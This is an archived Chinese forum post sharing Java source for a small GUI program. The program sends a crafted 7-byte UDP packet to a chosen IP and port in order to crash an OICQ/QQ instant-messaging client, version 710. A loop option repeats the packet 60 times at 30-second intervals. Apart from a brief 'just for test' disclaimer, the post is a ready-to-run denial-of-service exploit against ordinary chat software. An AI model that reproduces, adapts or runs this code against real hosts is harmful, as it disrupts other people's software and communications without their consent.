精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>编程开发>>● Java>>源码收藏>>使用java写的炸QQ的例子,只做测试使用.

主题:使用java写的炸QQ的例子,只做测试使用.
发信人: huangjb(臭皮匠)
整理人: zjxyz(2002-01-26 14:07:45), 站内信件
源代码如下

package downoicq;


import java.net.*;
import java.awt.event.*;
import java.awt.*;
import java.io.IOException;

/**
 * <p>Title: Down the oicq for version 710</p>
 * <p>Description: just for test java don't use it for another reason</p>
 * <p>Copyright: Copyright (c) 2001</p>
 * @author jianbin1979
 * @version 1.0
 */
public class SendByte extends Frame
{
/**
 * normal variant defined
 */
private static final byte TTL = 1;
private static final int DATAPRAM_BYTES = 7;
private static final byte[] downBuf = {0x02,0x70,0x63,0x00,0x01,0x11,0x03};
private static int DEF_OICQ_PORT = 4000;

    /**
     * net variant
     */
private DatagramPacket downPkt;
private InetAddress downIna;
private int downPrt;
private MulticastSocket downSkt;

/* Gui variant */
private TextField pigIP;
private TextField pigPort;
private Button pigBtn;
private Button pigEbtn;
private Label pigError;
    private Label pigStatus;
private Checkbox pigLoop;
private Dialog pigAlt;

    /**
     * construction
     */
public SendByte()
{
super("Pig Ocq");
pigIP      = new TextField(15);
pigPort    = new TextField("4000", 5);
pigBtn     = new Button("Down the pig");
pigEbtn    = new Button("ok");
pigAlt     = new Dialog(this, "Wait", true);
pigError   = new Label("Please input the field");
pigStatus  = new Label("0");
pigLoop    = new Checkbox("Loop kill the pig");

/**
 * dialog construction
 */
pigAlt.setLayout(new FlowLayout());
pigAlt.add(pigError);
pigAlt.add(pigEbtn);
pigAlt.setSize(200, 70);

pigEbtn.addActionListener(
new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
    pigAlt.setVisible(false);
}
});

/**
 * frame construction
 */
this.setLayout(new FlowLayout());
this.setSize(300, 100);
this.setBackground(java.awt.Color.lightGray);
this.add(pigIP);
this.add(pigPort);
this.add(pigBtn);
this.add(pigLoop);
this.add(pigStatus);

/**
 * frame event constructions
 */
pigBtn.addActionListener(
new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
downSend();
}
});

this.addWindowListener(new WindowAdapter()
{
public void windowClosing(WindowEvent e)
{
System.exit(0);
}
});

this.setLocation(300, 300);
this.setVisible(true);
}

/**
 * send the down byte to the pig
 */
public void downSend()
{
new DownQQ().start();
}

    public static void main(String[] args)
{
        SendByte sendByte1 = new SendByte();
    }

/**
 * send down thread
 */
class DownQQ extends Thread
{
    /* implements run mothod() */
public void run()
{
try
{
            /* if empty then return */
if ( pigIP.getText().length()==0 || pigPort.getText().length()==0 )
{
pigAlt.show();
return;
}
    downPrt = Integer.parseInt( pigPort.getText() );
    downIna = InetAddress.getByName(pigIP.getText());

        downPkt = new DatagramPacket(downBuf, downBuf.length, downIna, downPrt);
downSkt = new MulticastSocket();

/**
 * loop kill for 60times 1min 1time
 */
try
{
/**
 * if the loop if checked
 * the ever 30secs send one
 */
    if ( pigLoop.getState() )
{
int MAX_LOOP = 60;
int i = 0;
while (i<MAX_LOOP)
{
i++;
/* update the status */
pigStatus.setText( Integer.toString(i) );
downSkt.send(downPkt, TTL);
this.sleep(30000); // sleep 30 seconds

}
}
}
catch (Exception ex)
{}

downSkt.close();
}
catch (UnknownHostException ue)
{
System.out.println("destination host ip incorrect!");
}
catch (IOException ie)
{
System.out.println("send lost!");
}


}
}// end the down thread

}

[关闭][返回]